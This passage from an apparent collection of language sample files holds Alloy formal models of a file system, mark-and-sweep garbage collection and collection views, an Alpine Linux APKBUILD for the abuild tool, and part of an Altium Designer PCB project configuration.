tunav2_minting_policy, name) == 1\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "samples/Alloy/file_system.als",
    "content": "module examples/systems/file_system\n\n/*\n * Model of a generic file system.\n */\n\nabstract sig Object {}\n\nsig Name {}\n\nsig File extends Object {} { some d: Dir | this in d.entries.contents }\n\nsig Dir extends Object {\n  entries: set DirEntry,\n  parent: lone Dir\n} {\n  parent = this.~@contents.~@entries\n  all e1, e2 : entries | e1.name = e2.name => e1 = e2\n  this !in this.^@parent\n  this != Root => Root in this.^@parent\n}\n\none sig Root extends Dir {} { no parent }\n\nlone sig Cur extends Dir {}\n\nsig DirEntry {\n  name: Name,\n  contents: Object\n} {\n  one this.~entries\n}\n\n\n/**\n * all directories besides root have one parent\n */\npred OneParent_buggyVersion {\n    all d: Dir - Root | one d.parent\n}\n\n/**\n * all directories besides root have one parent\n */\npred OneParent_correctVersion {\n    all d: Dir - Root | (one d.parent && one contents.d)\n}\n\n/**\n * Only files may be linked (that is, have more than one entry)\n * That is, all directories are the contents of at most one directory entry\n */\npred NoDirAliases {\n    all o: Dir | lone o.~contents\n}\n\ncheck { OneParent_buggyVersion => NoDirAliases } for 5 expect 1\n\ncheck { OneParent_correctVersion => NoDirAliases } for 5 expect 0\n"
  },
  {
    "path": "samples/Alloy/marksweepgc.als",
    "content": "module examples/systems/marksweepgc\n\n/*\n * Model of mark and sweep garbage collection.\n */\n\n// a node in the heap\nsig Node {}\n\nsig HeapState {\n  left, right : Node -> lone Node,\n  marked : set Node,\n  freeList : lone Node\n}\n\npred clearMarks[hs, hs' : HeapState] {\n  // clear marked set\n  no hs'.marked\n  // left and right fields are unchanged\n  hs'.left = hs.left\n  hs'.right = hs.right\n}\n\n/**\n * simulate the recursion of the mark() function using transitive closure\n */\nfun reachable[hs: HeapState, n: Node] : set Node {\n  n + n.^(hs.left + hs.right)\n}\n\npred mark[hs: HeapState, from : Node, hs': HeapState] {\n  hs'.marked = hs.reachable[from]\n  hs'.left = hs.left\n  hs'.right = hs.right\n}\n\n/**\n * complete hack to simulate behavior of code to set freeList\n */\npred setFreeList[hs, hs': HeapState] {\n  // especially hackish\n  hs'.freeList.*(hs'.left) in (Node - hs.marked)\n  all n: Node |\n    (n !in hs.marked) => {\n      no hs'.right[n]\n      hs'.left[n] in (hs'.freeList.*(hs'.left))\n      n in hs'.freeList.*(hs'.left)\n    } else {\n      hs'.left[n] = hs.left[n]\n      hs'.right[n] = hs.right[n]\n    }\n  hs'.marked = hs.marked\n}\n\npred GC[hs: HeapState, root : Node, hs': HeapState] {\n  some hs1, hs2: HeapState |\n    hs.clearMarks[hs1] && hs1.mark[root, hs2] && hs2.setFreeList[hs']\n}\n\nassert Soundness1 {\n  all h, h' : HeapState, root : Node |\n    h.GC[root, h'] =>\n      (all live : h.reachable[root] | {\n        h'.left[live] = h.left[live]\n        h'.right[live] = h.right[live]\n      })\n}\n\nassert Soundness2 {\n  all h, h' : HeapState, root : Node |\n    h.GC[root, h'] =>\n      no h'.reachable[root] & h'.reachable[h'.freeList]\n}\n\nassert Completeness {\n  all h, h' : HeapState, root : Node |\n    h.GC[root, h'] =>\n      (Node - h'.reachable[root]) in h'.reachable[h'.freeList]\n}\n\ncheck Soundness1 for 3 expect 0\ncheck Soundness2 for 3 expect 0\ncheck Completeness for 3 expect 0\n"
  },
  {
    "path": "samples/Alloy/views.als",
    "content": "module examples/systems/views\n\n/*\n * Model of views in object-oriented programming.\n *\n * Two object references, called the view and the backing,\n * are related by a view mechanism when changes to the\n * backing are automatically propagated to the view. Note\n * that the state of a view need not be a projection of the\n * state of the backing; the keySet method of Map, for\n * example, produces two view relationships, and for the\n * one in which the map is modified by changes to the key\n * set, the value of the new map cannot be determined from\n * the key set. Note that in the iterator view mechanism,\n * the iterator is by this definition the backing object,\n * since changes are propagated from iterator to collection\n * and not vice versa. Oddly, a reference may be a view of\n * more than one backing: there can be two iterators on the\n * same collection, eg. A reference cannot be a view under\n * more than one view type.\n *\n * A reference is made dirty when it is a backing for a view\n * with which it is no longer related by the view invariant.\n * This usually happens when a view is modified, either\n * directly or via another backing. For example, changing a\n * collection directly when it has an iterator invalidates\n * it, as does changing the collection through one iterator\n * when there are others.\n *\n * More work is needed if we want to model more closely the\n * failure of an iterator when its collection is invalidated.\n *\n * As a terminological convention, when there are two\n * complementary view relationships, we will give them types\n * t and t'. For example, KeySetView propagates from map to\n * set, and KeySetView' propagates from set to map.\n *\n * author: Daniel Jackson\n */\n\nopen util/ordering[State] as so\nopen util/relation as rel\n\nsig Ref {}\nsig Object {}\n\n-- t->b->v in views when v is view of type t of backing b\n-- dirty contains refs that have been invalidated\nsig State {\n  refs: set Ref,\n  obj: refs -> one Object,\n  views: ViewType -> refs -> refs,\n  dirty: set refs\n--  , anyviews: Ref -> Ref -- for visualization\n  }\n-- {anyviews = ViewType.views}\n\nsig Map extends Object {\n  keys: set Ref,\n  map: keys -> one Ref\n  }{all s: State |  keys + Ref.map in s.refs}\nsig MapRef extends Ref {}\nfact {State.obj[MapRef] in Map}\n\nsig Iterator extends Object {\n  left, done: set Ref,\n  lastRef: lone done\n  }{all s: State | done + left + lastRef in s.refs}\nsig IteratorRef extends Ref {}\nfact {State.obj[IteratorRef] in Iterator}\n\nsig Set extends Object {\n  elts: set Ref\n  }{all s: State | elts in s.refs}\nsig SetRef extends Ref {}\nfact {State.obj[SetRef] in Set}\n\nabstract sig ViewType {}\none sig KeySetView, KeySetView', IteratorView extends ViewType {}\nfact ViewTypes {\n  State.views[KeySetView] in MapRef -> SetRef\n  State.views[KeySetView'] in SetRef -> MapRef\n  State.views[IteratorView] in IteratorRef -> SetRef\n  all s: State | s.views[KeySetView] = ~(s.views[KeySetView'])\n  }\n\n/**\n * mods is refs modified directly or by view mechanism\n * doesn't handle possibility of modifying an object and its view at once?\n * should we limit frame conds to non-dirty refs?\n */\npred modifies [pre, post: State, rs: set Ref] {\n  let vr = pre.views[ViewType], mods = rs.*vr {\n    all r: pre.refs - mods | pre.obj[r] = post.obj[r]\n    all b: mods, v: pre.refs, t: ViewType |\n      b->v in pre.views[t] => viewFrame [t, pre.obj[v], post.obj[v], post.obj[b]]\n    post.dirty = pre.dirty +\n      {b: pre.refs | some v: Ref, t: ViewType |\n          b->v in pre.views[t] && !viewFrame [t, pre.obj[v], post.obj[v], post.obj[b]]\n      }\n    }\n  }\n\npred allocates [pre, post: State, rs: set Ref] {\n  no rs & pre.refs\n  post.refs = pre.refs + rs\n  }\n\n/** \n * models frame condition that limits change to view object from v to v' when backing object changes to b'\n */\npred viewFrame [t: ViewType, v, v', b': Object] {\n  t in KeySetView => v'.elts = dom [b'.map]\n  t in KeySetView' => b'.elts = dom [v'.map]\n  t in KeySetView' => (b'.elts) <: (v.map) = (b'.elts) <: (v'.map)\n  t in IteratorView => v'.elts = b'.left + b'.done\n  }\n\npred MapRef.keySet [pre, post: State, setRefs: SetRef] {\n  post.obj[setRefs].elts = dom [pre.obj[this].map]\n  modifies [pre, post, none]\n  allocates [pre, post, setRefs]\n  post.views = pre.views + KeySetView->this->setRefs + KeySetView'->setRefs->this\n  }\n\npred MapRef.put [pre, post: State, k, v: Ref] {\n  post.obj[this].map = pre.obj[this].map ++ k->v\n  modifies [pre, post, this]\n  allocates [pre, post, none]\n  post.views = pre.views\n  }\n\npred SetRef.iterator [pre, post: State, iterRef: IteratorRef] {\n  let i = post.obj[iterRef] {\n    i.left = pre.obj[this].elts\n    no i.done + i.lastRef\n    }\n  modifies [pre,post,none]\n  allocates [pre, post, iterRef]\n  post.views = pre.views + IteratorView->iterRef->this\n  }\n\npred IteratorRef.remove [pre, post: State] {\n  let i = pre.obj[this], i' = post.obj[this] {\n    i'.left = i.left\n    i'.done = i.done - i.lastRef\n    no i'.lastRef\n    }\n  modifies [pre,post,this]\n  allocates [pre, post, none]\n  pre.views = post.views\n  }\n\npred IteratorRef.next [pre, post: State, ref: Ref] {\n  let i = pre.obj[this], i' = post.obj[this] {\n    ref in i.left\n    i'.left = i.left - ref\n    i'.done = i.done + ref\n    i'.lastRef = ref\n    }\n  modifies [pre, post, this]\n  allocates [pre, post, none]\n  pre.views = post.views\n  }\n\npred IteratorRef.hasNext [s: State] {\n  some s.obj[this].left\n  }\n\nassert zippishOK {\n  all\n    ks, vs: SetRef,\n    m: MapRef,\n    ki, vi: IteratorRef,\n    k, v: Ref |\n    let s0=so/first,\n    s1=so/next[s0],\n    s2=so/next[s1],\n    s3=so/next[s2],\n    s4=so/next[s3],\n    s5=so/next[s4],\n    s6=so/next[s5],\n    s7=so/next[s6] |\n  ({\n    precondition [s0, ks, vs, m]\n    no s0.dirty\n    ks.iterator [s0, s1, ki]\n    vs.iterator [s1, s2, vi]\n    ki.hasNext [s2]\n    vi.hasNext [s2]\n    ki.this/next [s2, s3, k]\n    vi.this/next [s3, s4, v]\n    m.put [s4, s5, k, v]\n    ki.remove [s5, s6]\n    vi.remove [s6, s7]\n  } => no State.dirty)\n  }\n\npred precondition [pre: State, ks, vs, m: Ref] {\n  // all these conditions and other errors discovered in scope of 6 but 8,3\n  // in initial state, must have view invariants hold\n  (all t: ViewType, b, v: pre.refs |\n    b->v in pre.views[t] => viewFrame [t, pre.obj[v], pre.obj[v], pre.obj[b]])\n  // sets are not aliases\n--  ks != vs\n  // sets are not views of map\n--  no (ks+vs)->m & ViewType.pre.views\n  // no iterator currently on either set\n--  no Ref->(ks+vs) & ViewType.pre.views\n  }\n\ncheck zippishOK for 6 but 8 State, 3 ViewType expect 1\n\n/** \n * experiment with controlling heap size\n */\nfact {all s: State | #s.obj < 5}\n"
  },
  {
    "path": "samples/Alpine Abuild/filenames/APKBUILD",
    "content": "# Contributor: Natanael Copa <ncopa@alpinelinux.org>\n# Maintainer: Natanael Copa <ncopa@alpinelinux.org>\npkgname=abuild\npkgver=2.27.0\n_ver=${pkgver%_git*}\npkgrel=0\npkgdesc=\"Script to build Alpine Packages\"\nurl=\"http://git.alpinelinux.org/cgit/abuild/\"\narch=\"all\"\nlicense=\"GPL2\"\ndepends=\"fakeroot sudo pax-utils openssl apk-tools>=2.0.7-r1 libc-utils\n\tattr tar pkgconf patch\"\nif [ \"$CBUILD\" = \"$CHOST\" ]; then\n\tdepends=\"$depends curl\"\nfi\nmakedepends_build=\"pkgconfig\"\nmakedepends_host=\"openssl-dev\"\nmakedepends=\"$makedepends_host $makedepends_build\"\ninstall=\"$pkgname.pre-install $pkgname.pre-upgrade\"\nsubpackages=\"apkbuild-cpan:cpan apkbuild-gem-resolver:gems\"\noptions=\"suid\"\npkggroups=\"abuild\"\nsource=\"http://dev.alpinelinux.org/archive/abuild/abuild-$_ver.tar.xz\n\t\"\n\n_builddir=\"$srcdir/$pkgname-$_ver\"\nprepare() {\n\tcd \"$_builddir\"\n\tfor i in $source; do\n\t\tcase $i in\n\t\t*.patch)\n\t\t\tmsg \"Applying $i\"\n\t\t\tpatch -p1 -i \"$srcdir\"/$i || return 1\n\t\t\t;;\n\t\tesac\n\tdone\n\tsed -i -e \"/^CHOST=/s/=.*/=$CHOST/\" abuild.conf\n}\n\nbuild() {\n\tcd \"$_builddir\"\n\tmake || return 1\n}\n\npackage() {\n\tcd \"$_builddir\"\n\tmake install DESTDIR=\"$pkgdir\" || return 1\n\tinstall -m 644 abuild.conf \"$pkgdir\"/etc/abuild.conf || return 1\n\tinstall -d -m 775 -g abuild \"$pkgdir\"/var/cache/distfiles || return 1\n}\n\ncpan() {\n\tpkgdesc=\"Script to generate perl APKBUILD from CPAN\"\n\tdepends=\"perl perl-libwww perl-json\"\n\tarch=\"noarch\"\n\tmkdir -p \"$subpkgdir\"/usr/bin\n\tmv \"$pkgdir\"/usr/bin/apkbuild-cpan \"$subpkgdir\"/usr/bin/\n}\n\ngems() {\n\tpkgdesc=\"APKBUILD dependency resolver for RubyGems\"\n\tdepends=\"ruby ruby-augeas\"\n\tarch=\"noarch\"\n\tmkdir -p \"$subpkgdir\"/usr/bin\n\tmv \"$pkgdir\"/usr/bin/apkbuild-gem-resolver \"$subpkgdir\"/usr/bin/\n}\n\nmd5sums=\"c67e4c971c54b4d550e16db3ba331f96  abuild-2.27.0.tar.xz\"\nsha256sums=\"c8db017e3dd168edb20ceeb91971535cf66b8c95f29d3288f88ac755bffc60e5  abuild-2.27.0.tar.xz\"\nsha512sums=\"98e1da4e47f3ab68700b3bc992c83e103f770f3196e433788ee74145f57cd33e5239c87f0a7a15f7266840d5bad893fc8c0d4c826d663df53deaee2678c56984  abuild-2.27.0.tar.xz\"\n"
  },
  {
    "path": "samples/Altium Designer/Sample Altium Project.PrjPcb",
    "content": "[Design]\r\nVersion=1.0\r\nHierarchyMode=0\r\nChannelRoomNamingStyle=0\r\nReleasesFolder=\r\nChannelDesignatorFormatString=$Component_$RoomName\r\nChannelRoomLevelSeperator=_\r\nOpenOutputs=1\r\nArchiveProject=0\r\nTimestampOutput=0\r\nSeparateFolders=0\r\nTemplateLocationPath=\r\nPinSwapBy_Netlabel=1\r\nPinSwapBy_Pin=1\r\nAllowPortNetNames=0\r\nAllowSheetEntryNetNames=1\r\nAppendSheetNumberToLocalNets=0\r\nNetlistSinglePinNets=0\r\nDefaultConfiguration=Sources\r\nUserID=0xFFFFFFFF\r\nDefaultPcbProtel=1\r\nDefaultPcbPcad=0\r\nReorderDocumentsOnCompile=1\r\nNameNetsHierarchically=0\r\nPowerPortNamesTakePriority=0\r\nPushECOToAnnotationFile=1\r\nDItemRevisionGUID=\r\nReportSuppressedErrorsInMessages=0\r\nFSMCodingStyle=eFMSDropDownList_OneProcess\r\nFSMEncodingStyle=eFMSDropDownList_OneHot\r\nOutputPath=\r\nLogFolderPath=\r\nManagedProjectGUID=\r\nIncludeDesignInRelease=0\r\n\r\n[Preferences]\r\nPrefsVaultGUID=\r\nPrefsRevisionGUID=\r\n\r\n[Document1]\r\nDocumentPath=Sample Schematic Sheet.SchDoc\r\nAnnotationEnabled=1\r\nAnnotateStartValue=1\r\nAnnotationIndexControlEnabled=0\r\nAnnotateSuffix=\r\nAnnotateScope=All\r\nAnnotateOrder=0\r\nDoLibraryUpdate=1\r\nDoDatabaseUpdate=1\r\nClassGenCCAutoEnabled=1\r\nClassGenCCAutoRoomEnabled=1\r\nClassGenNCAutoScope=None\r\nDItemRevisionGUID=\r\nGenerateClassCluster=0\r\nDocumentUniqueId=VUNWLVBI\r\n\r\n[Document2]\r\nDocumentPath=Sample Board Design.PcbDoc\r\nAnnotationEnabled=1\r\nAnnotateStartValue=1\r\nAnnotationIndexControlEnabled=0\r\nAnnotateSuffix=\r\nAnnotateScope=All\r\nAnnotateOrder=-1\r\nDoLibraryUpdate=1\r\nDoDatabaseUpdate=1\r\nClassGenCCAutoEnabled=1\r\nClassGenCCAutoRoomEnabled=1\r\nClassGenNCAutoScope=None\r\nDItemRevisionGUID=\r\nGenerateClassCluster=0\r\nDocumentUniqueId=NAXMKXNP\r\n\r\n[Document3]\r\nDocumentPath=Sample Output Job.OutJob\r\nAnnotationEnabled=1\r\nAnnotateStartValue=1\r\nAnnotationIndexControlEnabled=0\r\nAnnotateSuffix=\r\nAnnotateScope=All\r\nAnnotateOrder=-1\r\nDoLibraryUpdate=1\r\nDoDatabaseUpdate=1\r\nClassGenCCAutoEnabled=1\r\nClassGenCCAutoRoomEnabled=1\r\nClassGenNCAutoScope=None\r\nDItemRevisionGUID=\r\nGenerateClassCluster=0\r\nDocumentUniqueId=\r\n\r\n[Configuration1]\r\nName=Sources\r\nParameterCount=0\r\nConstraintFileCount=0\r\nReleaseItemId=\r\nVariant=[No Variations]\r\nOutputJobsCount=0\r\nContentTypeGUID=CB6F2064-E317-11DF-B822-12313F0024A2\r\nConfigurationType=Source\r\n\r\n[OutputGroup1]\r\nName=Netlist Outputs\r\nDescription=\r\nTargetPrinter=Adobe PDF\r\nPrinterOptions=Record=PrinterOptions|Copies=1|Duplex=1|TrueTypeOptions=3|Collate=1|PrintJobKind=1|PrintWhat=1\r\nOutputType1=CadnetixNetlist\r\nOutputName1=Cadnetix Netlist\r\nOutputDocumentPath1=\r\nOutputVariantName1=\r\nOutputDefault1=0\r\nOutputType2=CalayNetlist\r\nOutputName2=Calay Netlist\r\nOutputDocumentPath2=\r\nOutputVariantName2=\r\nOutputDefault2=0\r\nOutputType3=EDIF\r\nOutputName3=EDIF for PCB\r\nOutputDocumentPath3=\r\nOutputVariantName3=\r\nOutputDefault3=0\r\nOutputType4=EESofNetlist\r\nOutputName4=EESof Netlist\r\nOutputDocumentPath4=\r\nOutputVariantName4=\r\nOutputDefault4=0\r\nOutputType5=IntergraphNetlist\r\nOutputName5=Intergraph Netlist\r\nOutputDocumentPath5=\r\nOutputVariantName5=\r\nOutputDefault5=0\r\nOutputType6=MentorBoardStationNetlist\r\nOutputName6=Mentor BoardStation Netlist\r\nOutputDocumentPath6=\r\nOutputVariantName6=\r\nOutputDefault6=0\r\nOutputType7=MultiWire\r\nOutputName7=MultiWire\r\nOutputDocumentPath7=\r\nOutputVariantName7=\r\nOutputDefault7=0\r\nOutputType8=OrCadPCB2Netlist\r\nOutputName8=Orcad/PCB2 Netlist\r\nOutputDocumentPath8=\r\nOutputVariantName8=\r\nOutputDefault8=0\r\nOutputType9=PADSNetlist\r\nOutputName9=PADS ASCII Netlist\r\nOutputDocumentPath9=\r\nOutputVariantName9=\r\nOutputDefault9=0\r\nOutputType10=Pcad\r\nOutputName10=Pcad for PCB\r\nOutputDocumentPath10=\r\nOutputVariantName10=\r\nOutputDefault10=0\r\nOutputType11=PCADNetlist\r\nOutputName11=PCAD Netlist\r\nOutputDocumentPath11=\r\nOutputVariantName11=\r\nOutputDefault11=0\r\nOutputType12=PCADnltNetlist\r\nOutputName12=PCADnlt Netlist\r\nOutputDocumentPath12=\r\nOutputVariantName12=\r\nOutputDefault12=0\r\nOutputType13=Protel2Netlist\r\nOutputName13=Protel2 Netlist\r\nOutputDocumentPath13=\r\nOutputVariantName13=\r\nOutputDefault13=0\r\nOutputType14=ProtelNetlist\r\nOutputName14=Protel\r\nOutputDocumentPath14=\r\nOutputVariantName14=\r\nOutputDefault14=0\r\nOutputType15=RacalNetlist\r\nOutputName15=Racal Netlist\r\nOutputDocumentPath15=\r\nOutputVariantName15=\r\nOutputDefault15=0\r\nOutputType16=RINFNetlist\r\nOutputName16=RINF Netlist\r\nOutputDocumentPath16=\r\nOutputVariantName16=\r\nOutputDefault16=0\r\nOutputType17=SciCardsNetlist\r\nOutputName17=SciCards Netlist\r\nOutputDocumentPath17=\r\nOutputVariantName17=\r\nOutputDefault17=0\r\nOutputType18=TangoNetlist\r\nOutputName18=Tango Netlist\r\nOutputDocumentPath18=\r\nOutputVariantName18=\r\nOutputDefault18=0\r\nOutputType19=TelesisNetlist\r\nOutputName19=Telesis Netlist\r\nOutputDocumentPath19=\r\nOutputVariantName19=\r\nOutputDefault19=0\r\nOutputType20=WireListNetlist\r\nOutputName20=WireList Netlist\r\nOutputDocumentPath20=\r\nOutputVariantName20=\r\nOutputDefault20=0\r\n\r\n[OutputGroup2]\r\nName=Simulator Outputs\r\nDescription=\r\nTargetPrinter=Adobe PDF\r\nPrinterOptions=Record=PrinterOptions|Copies=1|Duplex=1|TrueTypeOptions=3|Collate=1|PrintJobKind=1|PrintWhat=1\r\n\r\n[OutputGroup3]\r\nName=Documentation Outputs\r\nDescription=\r\nTargetPrinter=Virtual Printer\r\nPrinterOptions=Record=PrinterOptions|Copies=1|Duplex=1|TrueTypeOptions=3|Collate=1|PrintJobKind=1|PrintWhat=1\r\nOutputType1=Composite\r\nOutputName1=Composite Drawing\r\nOutputDocumentPath1=\r\nOutputVariantName1=\r\nOutputDefault1=0\r\nPageOptions1=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\nOutputType2=PCB 3D Print\r\nOutputName2=PCB 3D Print\r\nOutputDocumentPath2=\r\nOutputVariantName2=[No Variations]\r\nOutputDefault2=0\r\nPageOptions2=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\nOutputType3=PCB 3D Video\r\nOutputName3=PCB 3D Video\r\nOutputDocumentPath3=\r\nOutputVariantName3=[No Variations]\r\nOutputDefault3=0\r\nPageOptions3=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\nOutputType4=PCB Print\r\nOutputName4=PCB Prints\r\nOutputDocumentPath4=\r\nOutputVariantName4=\r\nOutputDefault4=0\r\nPageOptions4=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\nOutputType5=PCBDrawing\r\nOutputName5=Draftsman\r\nOutputDocumentPath5=\r\nOutputVariantName5=[No Variations]\r\nOutputDefault5=0\r\nPageOptions5=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\nOutputType6=PCBLIB Print\r\nOutputName6=PCBLIB Prints\r\nOutputDocumentPath6=\r\nOutputVariantName6=\r\nOutputDefault6=0\r\nPageOptions6=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\nOutputType7=PDF3D\r\nOutputName7=PDF3D\r\nOutputDocumentPath7=\r\nOutputVariantName7=[No Variations]\r\nOutputDefault7=0\r\nPageOptions7=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\nOutputType8=Report Print\r\nOutputName8=Report Prints\r\nOutputDocumentPath8=\r\nOutputVariantName8=\r\nOutputDefault8=0\r\nPageOptions8=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\nOutputType9=Schematic Print\r\nOutputName9=Schematic Prints\r\nOutputDocumentPath9=\r\nOutputVariantName9=\r\nOutputDefault9=0\r\nPageOptions9=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\nOutputType10=SimView Print\r\nOutputName10=SimView Prints\r\nOutputDocumentPath10=\r\nOutputVariantName10=\r\nOutputDefault10=0\r\nPageOptions10=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\n\r\n[OutputGroup4]\r\nName=Assembly Outputs\r\nDescription=\r\nTargetPrinter=Adobe PDF\r\nPrinterOptions=Record=PrinterOptions|Copies=1|Duplex=1|TrueTypeOptions=3|Collate=1|PrintJobKind=1|PrintWhat=1\r\nOutputType1=Assembly\r\nOutputName1=Assembly Drawings\r\nOutputDocumentPath1=\r\nOutputVariantName1=[No Variations]\r\nOutputDefault1=0\r\nPageOptions1=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\nOutputType2=Pick Place\r\nOutputName2=Generates pick and place files\r\nOutputDocumentPath2=\r\nOutputVariantName2=[No Variations]\r\nOutputDefault2=0\r\nOutputType3=Test Points For Assembly\r\nOutputName3=Test Point Report\r\nOutputDocumentPath3=\r\nOutputVariantName3=[No Variations]\r\nOutputDefault3=0\r\n\r\n[OutputGroup5]\r\nName=Fabrication Outputs\r\nDescription=\r\nTargetPrinter=Adobe PDF\r\nPrinterOptions=Record=PrinterOptions|Copies=1|Duplex=1|TrueTypeOptions=3|Collate=1|PrintJobKind=1|PrintWhat=1\r\nOutputType1=Board Stack Report\r\nOutputName1=Report Board Stack\r\nOutputDocumentPath1=\r\nOutputVariantName1=\r\nOutputDefault1=0\r\nPageOptions1=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\nOutputType2=CompositeDrill\r\nOutputName2=Composite Drill Drawing\r\nOutputDocumentPath2=\r\nOutputVariantName2=\r\nOutputDefault2=0\r\nPageOptions2=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\nOutputType3=Drill\r\nOutputName3=Drill Drawing/Guides\r\nOutputDocumentPath3=\r\nOutputVariantName3=\r\nOutputDefault3=0\r\nPageOptions3=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\nOutputType4=Final\r\nOutputName4=Final Artwork Prints\r\nOutputDocumentPath4=\r\nOutputVariantName4=[No Variations]\r\nOutputDefault4=0\r\nPageOptions4=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\nOutputType5=Gerber\r\nOutputName5=Gerber Files\r\nOutputDocumentPath5=\r\nOutputVariantName5=[No Variations]\r\nOutputDefault5=0\r\nOutputType6=Gerber X2\r\nOutputName6=Gerber X2 Files\r\nOutputDocumentPath6=\r\nOutputVariantName6=\r\nOutputDefault6=0\r\nOutputType7=IPC2581\r\nOutputName7=IPC-2581 Files\r\nOutputDocumentPath7=\r\nOutputVariantName7=\r\nOutputDefault7=0\r\nOutputType8=Mask\r\nOutputName8=Solder/Paste Mask Prints\r\nOutputDocumentPath8=\r\nOutputVariantName8=\r\nOutputDefault8=0\r\nPageOptions8=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\nOutputType9=NC Drill\r\nOutputName9=NC Drill 